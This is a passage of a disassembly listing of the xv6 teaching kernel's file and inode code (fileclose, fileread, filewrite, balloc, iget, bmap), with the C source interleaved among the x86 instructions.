80100ea5: c3 ret 80100ea6: 66 90 xchg %ax,%ax f->ref = 0; f->type = FD_NONE; release(&ftable.lock); if(ff.type == FD_PIPE) pipeclose(ff.pipe, ff.writable); 80100ea8: 0f be 75 e7 movsbl -0x19(%ebp),%esi 80100eac: 89 1c 24 mov %ebx,(%esp) 80100eaf: 89 74 24 04 mov %esi,0x4(%esp) 80100eb3: e8 b8 23 00 00 call 80103270 <pipeclose> 80100eb8: eb e4 jmp 80100e9e <fileclose+0x6e> 80100eba: 8d b6 00 00 00 00 lea 0x0(%esi),%esi else if(ff.type == FD_INODE){ begin_op(); 80100ec0: e8 5b 1c 00 00 call 80102b20 <begin_op> iput(ff.ip); 80100ec5: 8b 45 e0 mov -0x20(%ebp),%eax 80100ec8: 89 04 24 mov %eax,(%esp) 80100ecb: e8 10 09 00 00 call 801017e0 <iput> end_op(); } } 80100ed0: 83 c4 1c add $0x1c,%esp 80100ed3: 5b pop %ebx 80100ed4: 5e pop %esi 80100ed5: 5f pop %edi 80100ed6: 5d pop %ebp if(ff.type == FD_PIPE) pipeclose(ff.pipe, ff.writable); else if(ff.type == FD_INODE){ begin_op(); iput(ff.ip); end_op(); 80100ed7: e9 b4 1c 00 00 jmp 80102b90 <end_op> { struct file ff; acquire(&ftable.lock); if(f->ref < 1) panic("fileclose"); 80100edc: c7 04 24 fc 70 10 80 movl $0x801070fc,(%esp) 80100ee3: e8 78 f4 ff ff call 80100360 <panic> 80100ee8: 90 nop 80100ee9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80100ef0 <filestat>: } // Get metadata about file f. int filestat(struct file *f, struct stat *st) { 80100ef0: 55 push %ebp 80100ef1: 89 e5 mov %esp,%ebp 80100ef3: 53 push %ebx 80100ef4: 83 ec 14 sub $0x14,%esp 80100ef7: 8b 5d 08 mov 0x8(%ebp),%ebx if(f->type == FD_INODE){ 80100efa: 83 3b 02 cmpl $0x2,(%ebx) 80100efd: 75 31 jne 80100f30 <filestat+0x40> ilock(f->ip); 80100eff: 8b 43 10 mov 0x10(%ebx),%eax 80100f02: 89 04 24 mov %eax,(%esp) 80100f05: e8 b6 07 00 00 call 801016c0 <ilock> stati(f->ip, st); 80100f0a: 8b 45 0c mov 0xc(%ebp),%eax 80100f0d: 89 44 24 04 mov %eax,0x4(%esp) 80100f11: 8b 43 10 mov 0x10(%ebx),%eax 80100f14: 89 04 24 mov %eax,(%esp) 80100f17: e8 24 0a 00 00 call 80101940 <stati> iunlock(f->ip); 80100f1c: 8b 43 10 mov 0x10(%ebx),%eax 80100f1f: 89 04 24 mov %eax,(%esp) 80100f22: e8 79 08 00 00 call 801017a0 <iunlock> return 0; } return -1; } 80100f27: 83 c4 14 add $0x14,%esp { if(f->type == FD_INODE){ ilock(f->ip); stati(f->ip, st); iunlock(f->ip); return 0; 80100f2a: 31 c0 xor %eax,%eax } return -1; } 80100f2c: 5b pop %ebx 80100f2d: 5d pop %ebp 80100f2e: c3 ret 80100f2f: 90 nop 80100f30: 83 c4 14 add $0x14,%esp ilock(f->ip); stati(f->ip, st); iunlock(f->ip); return 0; } return -1; 80100f33: b8 ff ff ff ff mov $0xffffffff,%eax } 80100f38: 5b pop %ebx 80100f39: 5d pop %ebp 80100f3a: c3 ret 80100f3b: 90 nop 80100f3c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80100f40 <fileread>: // Read from file f. int fileread(struct file *f, char *addr, int n) { 80100f40: 55 push %ebp 80100f41: 89 e5 mov %esp,%ebp 80100f43: 57 push %edi 80100f44: 56 push %esi 80100f45: 53 push %ebx 80100f46: 83 ec 1c sub $0x1c,%esp 80100f49: 8b 5d 08 mov 0x8(%ebp),%ebx 80100f4c: 8b 75 0c mov 0xc(%ebp),%esi 80100f4f: 8b 7d 10 mov 0x10(%ebp),%edi int r; if(f->readable == 0) 80100f52: 80 7b 08 00 cmpb $0x0,0x8(%ebx) 80100f56: 74 68 je 80100fc0 <fileread+0x80> return -1; if(f->type == FD_PIPE) 80100f58: 8b 03 mov (%ebx),%eax 80100f5a: 83 f8 01 cmp $0x1,%eax 80100f5d: 74 49 je 80100fa8 <fileread+0x68> return piperead(f->pipe, addr, n); if(f->type == FD_INODE){ 80100f5f: 83 f8 02 cmp $0x2,%eax 80100f62: 75 63 jne 80100fc7 <fileread+0x87> ilock(f->ip); 80100f64: 8b 43 10 mov 0x10(%ebx),%eax 80100f67: 89 04 24 mov %eax,(%esp) 80100f6a: e8 51 07 00 00 call 801016c0 <ilock> if((r = readi(f->ip, addr, f->off, n)) > 0) 80100f6f: 89 7c 24 0c mov %edi,0xc(%esp) 80100f73: 8b 43 14 mov 0x14(%ebx),%eax 80100f76: 89 74 24 04 mov %esi,0x4(%esp) 80100f7a: 89 44 24 08 mov %eax,0x8(%esp) 80100f7e: 8b 43 10 mov 0x10(%ebx),%eax 80100f81: 89 04 24 mov %eax,(%esp) 80100f84: e8 e7 09 00 00 call 80101970 <readi> 80100f89: 85 c0 test %eax,%eax 80100f8b: 89 c6 mov %eax,%esi 80100f8d: 7e 03 jle 80100f92 <fileread+0x52> f->off += r; 80100f8f: 01 43 14 add %eax,0x14(%ebx) iunlock(f->ip); 80100f92: 8b 43 10 mov 0x10(%ebx),%eax 80100f95: 89 04 24 mov %eax,(%esp) 80100f98: e8 03 08 00 00 call 801017a0 <iunlock> return -1; if(f->type == FD_PIPE) return piperead(f->pipe, addr, n); if(f->type == FD_INODE){ ilock(f->ip); if((r = readi(f->ip, addr, f->off, n)) > 0) 80100f9d: 89 f0 mov %esi,%eax f->off += r; iunlock(f->ip); return r; } panic("fileread"); } 80100f9f: 83 c4 1c add $0x1c,%esp 80100fa2: 5b pop %ebx 80100fa3: 5e pop %esi 80100fa4: 5f pop %edi 80100fa5: 5d pop %ebp 80100fa6: c3 ret 80100fa7: 90 nop int r; if(f->readable == 0) return -1; if(f->type == FD_PIPE) return piperead(f->pipe, addr, n); 80100fa8: 8b 43 0c mov 0xc(%ebx),%eax 80100fab: 89 45 08 mov %eax,0x8(%ebp) f->off += r; iunlock(f->ip); return r; } panic("fileread"); } 80100fae: 83 c4 1c add $0x1c,%esp 80100fb1: 5b pop %ebx 80100fb2: 5e pop %esi 80100fb3: 5f pop %edi 80100fb4: 5d pop %ebp int r; if(f->readable == 0) return -1; if(f->type == FD_PIPE) return piperead(f->pipe, addr, n); 80100fb5: e9 36 24 00 00 jmp 801033f0 <piperead> 80100fba: 8d b6 00 00 00 00 lea 0x0(%esi),%esi fileread(struct file *f, char *addr, int n) { int r; if(f->readable == 0) return -1; 80100fc0: b8 ff ff ff ff mov $0xffffffff,%eax 80100fc5: eb d8 jmp 80100f9f <fileread+0x5f> if((r = readi(f->ip, addr, f->off, n)) > 0) f->off += r; iunlock(f->ip); return r; } panic("fileread"); 80100fc7: c7 04 24 06 71 10 80 movl $0x80107106,(%esp) 80100fce: e8 8d f3 ff ff call 80100360 <panic> 80100fd3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80100fd9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80100fe0 <filewrite>: //PAGEBREAK! // Write to file f. int filewrite(struct file *f, char *addr, int n) { 80100fe0: 55 push %ebp 80100fe1: 89 e5 mov %esp,%ebp 80100fe3: 57 push %edi 80100fe4: 56 push %esi 80100fe5: 53 push %ebx 80100fe6: 83 ec 2c sub $0x2c,%esp 80100fe9: 8b 45 0c mov 0xc(%ebp),%eax 80100fec: 8b 7d 08 mov 0x8(%ebp),%edi 80100fef: 89 45 dc mov %eax,-0x24(%ebp) 80100ff2: 8b 45 10 mov 0x10(%ebp),%eax int r; if(f->writable == 0) 80100ff5: 80 7f 09 00 cmpb $0x0,0x9(%edi) //PAGEBREAK! // Write to file f. int filewrite(struct file *f, char *addr, int n) { 80100ff9: 89 45 e4 mov %eax,-0x1c(%ebp) int r; if(f->writable == 0) 80100ffc: 0f 84 ae 00 00 00 je 801010b0 <filewrite+0xd0> return -1; if(f->type == FD_PIPE) 80101002: 8b 07 mov (%edi),%eax 80101004: 83 f8 01 cmp $0x1,%eax 80101007: 0f 84 c2 00 00 00 je 801010cf <filewrite+0xef> return pipewrite(f->pipe, addr, n); if(f->type == FD_INODE){ 8010100d: 83 f8 02 cmp $0x2,%eax 80101010: 0f 85 d7 00 00 00 jne 801010ed <filewrite+0x10d> // and 2 blocks of slop for non-aligned writes. // this really belongs lower down, since writei() // might be writing a device like the console. int max = ((MAXOPBLOCKS-1-1-2) / 2) * 512; int i = 0; while(i < n){ 80101016: 8b 45 e4 mov -0x1c(%ebp),%eax 80101019: 31 db xor %ebx,%ebx 8010101b: 85 c0 test %eax,%eax 8010101d: 7f 31 jg 80101050 <filewrite+0x70> 8010101f: e9 9c 00 00 00 jmp 801010c0 <filewrite+0xe0> 80101024: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi begin_op(); ilock(f->ip); if ((r = writei(f->ip, addr + i, f->off, n1)) > 0) f->off += r; iunlock(f->ip); 80101028: 8b 4f 10 mov 0x10(%edi),%ecx n1 = max; begin_op(); ilock(f->ip); if ((r = writei(f->ip, addr + i, f->off, n1)) > 0) f->off += r; 8010102b: 01 47 14 add %eax,0x14(%edi) 8010102e: 89 45 e0 mov %eax,-0x20(%ebp) iunlock(f->ip); 80101031: 89 0c 24 mov %ecx,(%esp) 80101034: e8 67 07 00 00 call 801017a0 <iunlock> end_op(); 80101039: e8 52 1b 00 00 call 80102b90 <end_op> 8010103e: 8b 45 e0 mov -0x20(%ebp),%eax if(r < 0) break; if(r != n1) 80101041: 39 f0 cmp %esi,%eax 80101043: 0f 85 98 00 00 00 jne 801010e1 <filewrite+0x101> panic("short filewrite"); i += r; 80101049: 01 c3 add %eax,%ebx // and 2 blocks of slop for non-aligned writes. // this really belongs lower down, since writei() // might be writing a device like the console. int max = ((MAXOPBLOCKS-1-1-2) / 2) * 512; int i = 0; while(i < n){ 8010104b: 39 5d e4 cmp %ebx,-0x1c(%ebp) 8010104e: 7e 70 jle 801010c0 <filewrite+0xe0> int n1 = n - i; 80101050: 8b 75 e4 mov -0x1c(%ebp),%esi 80101053: b8 00 06 00 00 mov $0x600,%eax 80101058: 29 de sub %ebx,%esi 8010105a: 81 fe 00 06 00 00 cmp $0x600,%esi 80101060: 0f 4f f0 cmovg %eax,%esi if(n1 > max) n1 = max; begin_op(); 80101063: e8 b8 1a 00 00 call 80102b20 <begin_op> ilock(f->ip); 80101068: 8b 47 10 mov 0x10(%edi),%eax 8010106b: 89 04 24 mov %eax,(%esp) 8010106e: e8 4d 06 00 00 call 801016c0 <ilock> if ((r = writei(f->ip, addr + i, f->off, n1)) > 0) 80101073: 89 74 24 0c mov %esi,0xc(%esp) 80101077: 8b 47 14 mov 0x14(%edi),%eax 8010107a: 89 44 24 08 mov %eax,0x8(%esp) 8010107e: 8b 45 dc mov -0x24(%ebp),%eax 80101081: 01 d8 add %ebx,%eax 80101083: 89 44 24 04 mov %eax,0x4(%esp) 80101087: 8b 47 10 mov 0x10(%edi),%eax 8010108a: 89 04 24 mov %eax,(%esp) 8010108d: e8 de 09 00 00 call 80101a70 <writei> 80101092: 85 c0 test %eax,%eax 80101094: 7f 92 jg 80101028 <filewrite+0x48> f->off += r; iunlock(f->ip); 80101096: 8b 4f 10 mov 0x10(%edi),%ecx 80101099: 89 45 e0 mov %eax,-0x20(%ebp) 8010109c: 89 0c 24 mov %ecx,(%esp) 8010109f: e8 fc 06 00 00 call 801017a0 <iunlock> end_op(); 801010a4: e8 e7 1a 00 00 call 80102b90 <end_op> if(r < 0) 801010a9: 8b 45 e0 mov -0x20(%ebp),%eax 801010ac: 85 c0 test %eax,%eax 801010ae: 74 91 je 80101041 <filewrite+0x61> i += r; } return i == n ? n : -1; } panic("filewrite"); } 801010b0: 83 c4 2c add $0x2c,%esp filewrite(struct file *f, char *addr, int n) { int r; if(f->writable == 0) return -1; 801010b3: b8 ff ff ff ff mov $0xffffffff,%eax i += r; } return i == n ? n : -1; } panic("filewrite"); } 801010b8: 5b pop %ebx 801010b9: 5e pop %esi 801010ba: 5f pop %edi 801010bb: 5d pop %ebp 801010bc: c3 ret 801010bd: 8d 76 00 lea 0x0(%esi),%esi break; if(r != n1) panic("short filewrite"); i += r; } return i == n ? n : -1; 801010c0: 3b 5d e4 cmp -0x1c(%ebp),%ebx 801010c3: 89 d8 mov %ebx,%eax 801010c5: 75 e9 jne 801010b0 <filewrite+0xd0> } panic("filewrite"); } 801010c7: 83 c4 2c add $0x2c,%esp 801010ca: 5b pop %ebx 801010cb: 5e pop %esi 801010cc: 5f pop %edi 801010cd: 5d pop %ebp 801010ce: c3 ret int r; if(f->writable == 0) return -1; if(f->type == FD_PIPE) return pipewrite(f->pipe, addr, n); 801010cf: 8b 47 0c mov 0xc(%edi),%eax 801010d2: 89 45 08 mov %eax,0x8(%ebp) i += r; } return i == n ? n : -1; } panic("filewrite"); } 801010d5: 83 c4 2c add $0x2c,%esp 801010d8: 5b pop %ebx 801010d9: 5e pop %esi 801010da: 5f pop %edi 801010db: 5d pop %ebp int r; if(f->writable == 0) return -1; if(f->type == FD_PIPE) return pipewrite(f->pipe, addr, n); 801010dc: e9 1f 22 00 00 jmp 80103300 <pipewrite> end_op(); if(r < 0) break; if(r != n1) panic("short filewrite"); 801010e1: c7 04 24 0f 71 10 80 movl $0x8010710f,(%esp) 801010e8: e8 73 f2 ff ff call 80100360 <panic> i += r; } return i == n ? n : -1; } panic("filewrite"); 801010ed: c7 04 24 15 71 10 80 movl $0x80107115,(%esp) 801010f4: e8 67 f2 ff ff call 80100360 <panic> 801010f9: 66 90 xchg %ax,%ax 801010fb: 66 90 xchg %ax,%ax 801010fd: 66 90 xchg %ax,%ax 801010ff: 90 nop 80101100 <balloc>: // Blocks. // Allocate a zeroed disk block. static uint balloc(uint dev) { 80101100: 55 push %ebp 80101101: 89 e5 mov %esp,%ebp 80101103: 57 push %edi 80101104: 56 push %esi 80101105: 53 push %ebx 80101106: 83 ec 2c sub $0x2c,%esp 80101109: 89 45 d8 mov %eax,-0x28(%ebp) int b, bi, m; struct buf *bp; bp = 0; for(b = 0; b < sb.size; b += BPB){ 8010110c: a1 c0 09 11 80 mov 0x801109c0,%eax 80101111: 85 c0 test %eax,%eax 80101113: 0f 84 8c 00 00 00 je 801011a5 <balloc+0xa5> 80101119: c7 45 dc 00 00 00 00 movl $0x0,-0x24(%ebp) bp = bread(dev, BBLOCK(b, sb)); 80101120: 8b 75 dc mov -0x24(%ebp),%esi 80101123: 89 f0 mov %esi,%eax 80101125: c1 f8 0c sar $0xc,%eax 80101128: 03 05 d8 09 11 80 add 0x801109d8,%eax 8010112e: 89 44 24 04 mov %eax,0x4(%esp) 80101132: 8b 45 d8 mov -0x28(%ebp),%eax 80101135: 89 04 24 mov %eax,(%esp) 80101138: e8 93 ef ff ff call 801000d0 <bread> 8010113d: 89 45 e4 mov %eax,-0x1c(%ebp) 80101140: a1 c0 09 11 80 mov 0x801109c0,%eax 80101145: 89 45 e0 mov %eax,-0x20(%ebp) for(bi = 0; bi < BPB && b + bi < sb.size; bi++){ 80101148: 31 c0 xor %eax,%eax 8010114a: eb 33 jmp 8010117f <balloc+0x7f> 8010114c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi m = 1 << (bi % 8); if((bp->data[bi/8] & m) == 0){ // Is block free? 80101150: 8b 5d e4 mov -0x1c(%ebp),%ebx 80101153: 89 c2 mov %eax,%edx bp = 0; for(b = 0; b < sb.size; b += BPB){ bp = bread(dev, BBLOCK(b, sb)); for(bi = 0; bi < BPB && b + bi < sb.size; bi++){ m = 1 << (bi % 8); 80101155: 89 c1 mov %eax,%ecx if((bp->data[bi/8] & m) == 0){ // Is block free? 80101157: c1 fa 03 sar $0x3,%edx bp = 0; for(b = 0; b < sb.size; b += BPB){ bp = bread(dev, BBLOCK(b, sb)); for(bi = 0; bi < BPB && b + bi < sb.size; bi++){ m = 1 << (bi % 8); 8010115a: 83 e1 07 and $0x7,%ecx 8010115d: bf 01 00 00 00 mov $0x1,%edi 80101162: d3 e7 shl %cl,%edi if((bp->data[bi/8] & m) == 0){ // Is block free? 80101164: 0f b6 5c 13 5c movzbl 0x5c(%ebx,%edx,1),%ebx bp = 0; for(b = 0; b < sb.size; b += BPB){ bp = bread(dev, BBLOCK(b, sb)); for(bi = 0; bi < BPB && b + bi < sb.size; bi++){ m = 1 << (bi % 8); 80101169: 89 f9 mov %edi,%ecx if((bp->data[bi/8] & m) == 0){ // Is block free? 8010116b: 0f b6 fb movzbl %bl,%edi 8010116e: 85 cf test %ecx,%edi 80101170: 74 46 je 801011b8 <balloc+0xb8> struct buf *bp; bp = 0; for(b = 0; b < sb.size; b += BPB){ bp = bread(dev, BBLOCK(b, sb)); for(bi = 0; bi < BPB && b + bi < sb.size; bi++){ 80101172: 83 c0 01 add $0x1,%eax 80101175: 83 c6 01 add $0x1,%esi 80101178: 3d 00 10 00 00 cmp $0x1000,%eax 8010117d: 74 05 je 80101184 <balloc+0x84> 8010117f: 3b 75 e0 cmp -0x20(%ebp),%esi 80101182: 72 cc jb 80101150 <balloc+0x50> brelse(bp); bzero(dev, b + bi); return b + bi; } } brelse(bp); 80101184: 8b 45 e4 mov -0x1c(%ebp),%eax 80101187: 89 04 24 mov %eax,(%esp) 8010118a: e8 51 f0 ff ff call 801001e0 <brelse> { int b, bi, m; struct buf *bp; bp = 0; for(b = 0; b < sb.size; b += BPB){ 8010118f: 81 45 dc 00 10 00 00 addl $0x1000,-0x24(%ebp) 80101196: 8b 45 dc mov -0x24(%ebp),%eax 80101199: 3b 05 c0 09 11 80 cmp 0x801109c0,%eax 8010119f: 0f 82 7b ff ff ff jb 80101120 <balloc+0x20> return b + bi; } } brelse(bp); } panic("balloc: out of blocks"); 801011a5: c7 04 24 1f 71 10 80 movl $0x8010711f,(%esp) 801011ac: e8 af f1 ff ff call 80100360 <panic> 801011b1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi for(b = 0; b < sb.size; b += BPB){ bp = bread(dev, BBLOCK(b, sb)); for(bi = 0; bi < BPB && b + bi < sb.size; bi++){ m = 1 << (bi % 8); if((bp->data[bi/8] & m) == 0){ // Is block free? bp->data[bi/8] |= m; // Mark block in use. 801011b8: 09 d9 or %ebx,%ecx 801011ba: 8b 5d e4 mov -0x1c(%ebp),%ebx 801011bd: 88 4c 13 5c mov %cl,0x5c(%ebx,%edx,1) log_write(bp); 801011c1: 89 1c 24 mov %ebx,(%esp) 801011c4: e8 f7 1a 00 00 call 80102cc0 <log_write> brelse(bp); 801011c9: 89 1c 24 mov %ebx,(%esp) 801011cc: e8 0f f0 ff ff call 801001e0 <brelse> static void bzero(int dev, int bno) { struct buf *bp; bp = bread(dev, bno); 801011d1: 8b 45 d8 mov -0x28(%ebp),%eax 801011d4: 89 74 24 04 mov %esi,0x4(%esp) 801011d8: 89 04 24 mov %eax,(%esp) 801011db: e8 f0 ee ff ff call 801000d0 <bread> memset(bp->data, 0, BSIZE); 801011e0: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp) 801011e7: 00 801011e8: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 801011ef: 00 static void bzero(int dev, int bno) { struct buf *bp; bp = bread(dev, bno); 801011f0: 89 c3 mov %eax,%ebx memset(bp->data, 0, BSIZE); 801011f2: 8d 40 5c lea 0x5c(%eax),%eax 801011f5: 89 04 24 mov %eax,(%esp) 801011f8: e8 f3 30 00 00 call 801042f0 <memset> log_write(bp); 801011fd: 89 1c 24 mov %ebx,(%esp) 80101200: e8 bb 1a 00 00 call 80102cc0 <log_write> brelse(bp); 80101205: 89 1c 24 mov %ebx,(%esp) 80101208: e8 d3 ef ff ff call 801001e0 <brelse> } } brelse(bp); } panic("balloc: out of blocks"); } 8010120d: 83 c4 2c add $0x2c,%esp 80101210: 89 f0 mov %esi,%eax 80101212: 5b pop %ebx 80101213: 5e pop %esi 80101214: 5f pop %edi 80101215: 5d pop %ebp 80101216: c3 ret 80101217: 89 f6 mov %esi,%esi 80101219: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101220 <iget>: // Find the inode with number inum on device dev // and return the in-memory copy. Does not lock // the inode and does not read it from disk. static struct inode* iget(uint dev, uint inum) { 80101220: 55 push %ebp 80101221: 89 e5 mov %esp,%ebp 80101223: 57 push %edi 80101224: 89 c7 mov %eax,%edi 80101226: 56 push %esi struct inode *ip, *empty; acquire(&icache.lock); // Is the inode already cached? empty = 0; 80101227: 31 f6 xor %esi,%esi // Find the inode with number inum on device dev // and return the in-memory copy. Does not lock // the inode and does not read it from disk. static struct inode* iget(uint dev, uint inum) { 80101229: 53 push %ebx acquire(&icache.lock); // Is the inode already cached? empty = 0; for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){ 8010122a: bb 14 0a 11 80 mov $0x80110a14,%ebx // Find the inode with number inum on device dev // and return the in-memory copy. Does not lock // the inode and does not read it from disk. static struct inode* iget(uint dev, uint inum) { 8010122f: 83 ec 1c sub $0x1c,%esp struct inode *ip, *empty; acquire(&icache.lock); 80101232: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) // Find the inode with number inum on device dev // and return the in-memory copy. Does not lock // the inode and does not read it from disk. static struct inode* iget(uint dev, uint inum) { 80101239: 89 55 e4 mov %edx,-0x1c(%ebp) struct inode *ip, *empty; acquire(&icache.lock); 8010123c: e8 ef 2f 00 00 call 80104230 <acquire> // Is the inode already cached? empty = 0; for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){ 80101241: 8b 55 e4 mov -0x1c(%ebp),%edx 80101244: eb 14 jmp 8010125a <iget+0x3a> 80101246: 66 90 xchg %ax,%ax if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){ ip->ref++; release(&icache.lock); return ip; } if(empty == 0 && ip->ref == 0) // Remember empty slot. 80101248: 85 f6 test %esi,%esi 8010124a: 74 3c je 80101288 <iget+0x68> acquire(&icache.lock); // Is the inode already cached? empty = 0; for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){ 8010124c: 81 c3 90 00 00 00 add $0x90,%ebx 80101252: 81 fb 34 26 11 80 cmp $0x80112634,%ebx 80101258: 74 46 je 801012a0 <iget+0x80> if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){ 8010125a: 8b 4b 08 mov 0x8(%ebx),%ecx 8010125d: 85 c9 test %ecx,%ecx 8010125f: 7e e7 jle 80101248 <iget+0x28> 80101261: 39 3b cmp %edi,(%ebx) 80101263: 75 e3 jne 80101248 <iget+0x28> 80101265: 39 53 04 cmp %edx,0x4(%ebx) 80101268: 75 de jne 80101248 <iget+0x28> ip->ref++; 8010126a: 83 c1 01 add $0x1,%ecx release(&icache.lock); return ip; 8010126d: 89 de mov %ebx,%esi // Is the inode already cached? empty = 0; for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){ if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){ ip->ref++; release(&icache.lock); 8010126f: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) // Is the inode already cached? empty = 0; for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){ if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){ ip->ref++; 80101276: 89 4b 08 mov %ecx,0x8(%ebx) release(&icache.lock); 80101279: e8 22 30 00 00 call 801042a0 <release> ip->ref = 1; ip->valid = 0; release(&icache.lock); return ip; } 8010127e: 83 c4 1c add $0x1c,%esp 80101281: 89 f0 mov %esi,%eax 80101283: 5b pop %ebx 80101284: 5e pop %esi 80101285: 5f pop %edi 80101286: 5d pop %ebp 80101287: c3 ret 80101288: 85 c9 test %ecx,%ecx 8010128a: 0f 44 f3 cmove %ebx,%esi acquire(&icache.lock); // Is the inode already cached? empty = 0; for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){ 8010128d: 81 c3 90 00 00 00 add $0x90,%ebx 80101293: 81 fb 34 26 11 80 cmp $0x80112634,%ebx 80101299: 75 bf jne 8010125a <iget+0x3a> 8010129b: 90 nop 8010129c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(empty == 0 && ip->ref == 0) // Remember empty slot. empty = ip; } // Recycle an inode cache entry. if(empty == 0) 801012a0: 85 f6 test %esi,%esi 801012a2: 74 29 je 801012cd <iget+0xad> panic("iget: no inodes"); ip = empty; ip->dev = dev; 801012a4: 89 3e mov %edi,(%esi) ip->inum = inum; 801012a6: 89 56 04 mov %edx,0x4(%esi) ip->ref = 1; 801012a9: c7 46 08 01 00 00 00 movl $0x1,0x8(%esi) ip->valid = 0; 801012b0: c7 46 4c 00 00 00 00 movl $0x0,0x4c(%esi) release(&icache.lock); 801012b7: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) 801012be: e8 dd 2f 00 00 call 801042a0 <release> return ip; } 801012c3: 83 c4 1c add $0x1c,%esp 801012c6: 89 f0 mov %esi,%eax 801012c8: 5b pop %ebx 801012c9: 5e pop %esi 801012ca: 5f pop %edi 801012cb: 5d pop %ebp 801012cc: c3 ret empty = ip; } // Recycle an inode cache entry. if(empty == 0) panic("iget: no inodes"); 801012cd: c7 04 24 35 71 10 80 movl $0x80107135,(%esp) 801012d4: e8 87 f0 ff ff call 80100360 <panic> 801012d9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801012e0 <bmap>: // Return the disk block address of the nth block in inode ip. // If there is no such block, bmap allocates one. static uint bmap(struct inode *ip, uint bn) { 801012e0: 55 push %ebp 801012e1: 89 e5 mov %esp,%ebp 801012e3: 57 push %edi 801012e4: 56 push %esi 801012e5: 53 push %ebx 801012e6: 89 c3 mov %eax,%ebx 801012e8: 83 ec 1c sub $0x1c,%esp uint addr, *a; struct buf *bp; if(bn < NDIRECT){ 801012eb: 83 fa 0b cmp $0xb,%edx 801012ee: 77 18 ja 80101308 <bmap+0x28> 801012f0: 8d 34 90 lea (%eax,%edx,4),%esi if((addr = ip->addrs[bn]) == 0) 801012f3: 8b 46 5c mov 0x5c(%esi),%eax 801012f6: 85 c0 test %eax,%eax 801012f8: 74 66 je 80101360 <bmap+0x80> brelse(bp); return addr; } panic("bmap: out of range"); } 801012fa: 83 c4 1c add $0x1c,%esp 801012fd: 5b pop %ebx 801012fe: 5e pop %esi 801012ff: 5f pop %edi 80101300: 5d pop %ebp 80101301: c3 ret 80101302: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if(bn < NDIRECT){ if((addr = ip->addrs[bn]) == 0) ip->addrs[bn] = addr = balloc(ip->dev); return addr; } bn -= NDIRECT; 80101308: 8d 72 f4 lea -0xc(%edx),%esi if(bn < NINDIRECT){ 8010130b: 83 fe 7f cmp $0x7f,%esi 8010130e: 77 77 ja 80101387 <bmap+0xa7> // Load indirect block, allocating if necessary. if((addr = ip->addrs[NDIRECT]) == 0) 80101310: 8b 80 8c 00 00 00 mov 0x8c(%eax),%eax 80101316: 85 c0 test %eax,%eax 80101318: 74 5e je 80101378 <bmap+0x98> ip->addrs[NDIRECT] = addr = balloc(ip->dev); bp = bread(ip->dev, addr); 8010131a: 89 44 24 04 mov %eax,0x4(%esp) 8010131e: 8b 03 mov (%ebx),%eax 80101320: 89 04 24 mov %eax,(%esp) 80101323: e8 a8 ed ff ff call 801000d0 <bread> a = (uint*)bp->data; if((addr = a[bn]) == 0){ 80101328: 8d 54 b0 5c lea 0x5c(%eax,%esi,4),%edx if(bn < NINDIRECT){ // Load indirect block, allocating if necessary. if((addr = ip->addrs[NDIRECT]) == 0) ip->addrs[NDIRECT] = addr = balloc(ip->dev); bp = bread(ip->dev, addr); 8010132c: 89 c7 mov %eax,%edi a = (uint*)bp->data; if((addr = a[bn]) == 0){ 8010132e: 8b 32 mov (%edx),%esi 80101330: 85 f6 test %esi,%esi 80101332: 75 19 jne 8010134d <bmap+0x6d> a[bn] = addr = balloc(ip->dev); 80101334: 8b 03 mov (%ebx),%eax 80101336: 89 55 e4 mov %edx,-0x1c(%ebp) 80101339: e8 c2 fd ff ff call 80101100 <balloc> 8010133e: 8b 55 e4 mov -0x1c(%ebp),%edx 80101341: 89 02 mov %eax,(%edx) 80101343: 89 c6 mov %eax,%esi log_write(bp); 80101345: 89 3c 24 mov %edi,(%esp) 80101348: e8 73 19 00 00 call 80102cc0 <log_write> } brelse(bp); 8010134d: 89 3c 24 mov %edi,(%esp) 80101350: e8 8b ee ff ff call 801001e0 <brelse> return addr; } panic("bmap: out of range"); } 80101355: 83 c4 1c add $0x1c,%esp a = (uint*)bp->data; if((addr = a[bn]) == 0){ a[bn] = addr = balloc(ip->dev); log_write(bp); } brelse(bp); 80101358: 89 f0 mov %esi,%eax return addr; } panic("bmap: out of range"); } 8010135a: 5b pop %ebx 8010135b: 5e pop %esi 8010135c: 5f pop %edi 8010135d: 5d pop %ebp 8010135e: c3 ret 8010135f: 90 nop uint addr, *a; struct buf *bp; if(bn < NDIRECT){ if((addr = ip->addrs[bn]) == 0) ip->addrs[bn] = addr = balloc(ip->dev); 80101360: 8b 03 mov (%ebx),%eax 80101362: e8 99 fd ff ff call 80101100 <balloc> 80101367: 89 46 5c mov %eax,0x5c(%esi) brelse(bp); return addr; } panic("bmap: out of range"); } 8010136a: 83 c4 1c add $0x1c,%esp 8010136d: 5b pop %ebx 8010136e: 5e pop %esi 8010136f: 5f pop %edi 80101370: 5d pop %ebp 80101371: c3 ret 80101372: 8d b6 00 00 00 00 lea 0x0(%esi),%esi bn -= NDIRECT; if(bn < NINDIRECT){ // Load indirect block, allocating if necessary. if((addr = ip->addrs[NDIRECT]) == 0) ip->addrs[NDIRECT] = addr = balloc(ip->dev); 80101378: 8b 03 mov 